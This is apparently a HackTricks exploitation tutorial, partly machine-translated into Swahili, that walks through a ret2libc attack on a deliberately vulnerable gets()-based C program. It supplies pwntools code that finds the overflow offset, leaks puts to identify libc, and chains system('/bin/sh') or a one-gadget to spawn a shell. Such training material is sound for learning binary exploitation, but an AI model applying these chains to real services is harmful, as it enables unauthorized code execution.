Leaking libc address with ROP

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Muhtasari wa Haraka

  1. Pata overflow offset

  2. Pata gadget ya POP_RDI, PUTS_PLT na gadget za MAIN

  3. Tumia gadget za awali ku onyesha anwani ya kumbukumbu ya puts au kazi nyingine ya libc na pata toleo la libc (pakua)

  4. Pamoja na maktaba, hesabu ROP na uifanye

Mafunzo mengine na binaries za kufanya mazoezi

Mafunzo haya yatatumia msimbo/binary uliopendekezwa katika mafunzo haya: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Mafunzo mengine ya manufaa: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Msimbo

Jina la faili: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Kuonyesha LIBC template

Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:

Leaking libc - template

1- Kutafuta offset

The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Tekeleza python template.py itafungua GDB console na programu itakuwa inakabiliwa na ajali. Ndani ya GDB console tekeleza x/wx $rsp kupata bytes ambazo zilikuwa zinaenda kufunika RIP. Mwishowe pata offset ukitumia python console:

from pwn import *
cyclic_find(0x6161616b)

Baada ya kupata offset (katika kesi hii 40) badilisha variable ya OFFSET ndani ya template ukitumia thamani hiyo. OFFSET = "A" * 40

Njia nyingine ingekuwa kutumia: pattern create 1000 -- tekeleza hadi ret -- pattern seach $rsp kutoka GEF.

2- Kupata Gadgets

Sasa tunahitaji kupata ROP gadgets ndani ya binary. Hizi ROP gadgets zitakuwa muhimu kuita puts ili kupata libc inayotumika, na baadaye kuanzisha exploit ya mwisho.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

The PUTS_PLT is needed to call the function puts. The MAIN_PLT is needed to call the main function again after one interaction to exploit the overflow again (infinite rounds of exploitation). It is used at the end of each ROP to call the program again. The POP_RDI is needed to pass a parameter to the called function.

In this step you don't need to execute anything as everything will be found by pwntools during the execution.

3- Kutafuta maktaba ya libc

Sasa ni wakati wa kutafuta ni toleo gani la libc maktaba linatumika. Ili kufanya hivyo tutavuja anwani katika kumbukumbu ya function puts na kisha tutatafuta ni toleo la maktaba gani toleo la puts lipo katika anwani hiyo.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Ili kufanya hivyo, mstari muhimu zaidi wa msimbo uliofanywa ni:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Hii itatuma baadhi ya bytes hadi kuandika RIP iwezekanavyo: OFFSET. Kisha, itapanga anwani ya gadget POP_RDI ili anwani inayofuata (FUNC_GOT) iwe saved katika RDI registry. Hii ni kwa sababu tunataka kuita puts tukipitia anwani ya PUTS_GOT kwani anwani katika kumbukumbu ya kazi ya puts imehifadhiwa katika anwani inayotolewa na PUTS_GOT. Baada ya hapo, PUTS_PLT itaitwa (ikiwa na PUTS_GOT ndani ya RDI) ili puts isome maudhui ndani ya PUTS_GOT (anwani ya kazi ya puts katika kumbukumbu) na it ichapishe. Hatimaye, kazi kuu inaitwa tena ili tuweze kutumia overflow tena.

Kwa njia hii tumekuwa tukidanganya kazi ya puts ili ichapishe anwani katika kumbukumbu ya kazi puts (ambayo iko ndani ya maktaba ya libc). Sasa kwamba tuna hiyo anwani tunaweza kutafuta ni toleo gani la libc linatumika.

Kwa kuwa tunafanya exploiting baadhi ya binary za local si lazima kujua ni toleo gani la libc linatumika (pata tu maktaba katika /lib/x86_64-linux-gnu/libc.so.6). Lakini, katika kesi ya exploit ya mbali nitafafanua hapa jinsi unavyoweza kulipata:

3.1- Kutafuta toleo la libc (1)

Unaweza kutafuta ni maktaba gani inatumika kwenye ukurasa wa wavuti: https://libc.blukat.me/ Itakuruhusu pia kupakua toleo lililogunduliwa la libc

3.2- Kutafuta toleo la libc (2)

Unaweza pia kufanya:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Hii itachukua muda, kuwa na subira. Ili hii ifanye kazi tunahitaji:

  • Jina la alama ya Libc: puts

  • Anwani ya libc iliyovuja: 0x7ff629878690

Tunaweza kubaini ni libc ipi ambayo ina uwezekano mkubwa inatumika.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Tunapata mechi 2 (unapaswa kujaribu ya pili ikiwa ya kwanza haifanyi kazi). Pakua ya kwanza:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Nakili libc kutoka libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so hadi kwenye saraka yetu ya kazi.

3.3- Funguo nyingine za kuvuja

puts
printf
__libc_start_main
read
gets

4- Kupata anwani ya libc iliyotegemea & kutumia

Katika hatua hii tunapaswa kujua maktaba ya libc inayotumika. Kwa kuwa tunatumia binary ya ndani, nitatumia tu: /lib/x86_64-linux-gnu/libc.so.6

Hivyo, mwanzoni mwa template.py badilisha libc variable kuwa: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Weka njia ya maktaba unapojua

Kutoa njia kwa maktaba ya libc sehemu nyingine ya exploit itakuwa inakokotwa kiotomatiki.

Ndani ya get_addrfunction anwani ya msingi ya libc itakokotwa:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Kumbuka kwamba anwani ya mwisho ya msingi wa libc lazima iishie na 00. Ikiwa hiyo si hali yako unaweza kuwa umepata maktaba isiyo sahihi.

Kisha, anwani ya kazi system na anwani ya string "/bin/sh" zitakuwa zinakokotwa kutoka kwa anwani ya msingi ya libc na kutolewa kwa maktaba ya libc.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Hatimaye, exploit ya utekelezaji wa /bin/sh itakuwa tayari kutumwa:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Let's explain this final ROP. The last ROP (rop1) ended calling again the main function, then we can exploit again the overflow (that's why the OFFSET is here again). Then, we want to call POP_RDI pointing to the anwani of "/bin/sh" (BINSH) and call system function (SYSTEM) because the address of "/bin/sh" will be passed as a parameter. Finally, the anwani ya exit function is called so the process exists nicely and any alert is generated.

This way the exploit will execute a _/bin/sh_** shell.**

4(2)- Using ONE_GADGET

You could also use ONE_GADGET to obtain a shell instead of using system and "/bin/sh". ONE_GADGET will find inside the libc library some way to obtain a shell using just one ROP address. However, normally there are some constrains, the most common ones and easy to avoid are like [rsp+0x30] == NULL As you control the values inside the RSP you just have to send some more NULL values so the constrain is avoided.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

You can find a template to exploit this vulnerability here:

Leaking libc - template

Matatizo ya kawaida

MAIN_PLT = elf.symbols['main'] haipatikani

If the "main" symbol does not exist. Then you can find where is the main code:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

na weka anwani kwa mikono:

MAIN_PLT = 0x401080

Puts hazipatikani

Ikiwa binary haitumii Puts unapaswa kuangalia ikiwa inatumia

sh: 1: %s%s%s%s%s%s%s%s: hazipatikani

Ikiwa unapata kosa hili baada ya kuunda yote ya exploit: sh: 1: %s%s%s%s%s%s%s%s: hazipatikani

Jaribu kupunguza byte 64 kutoka anwani ya "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated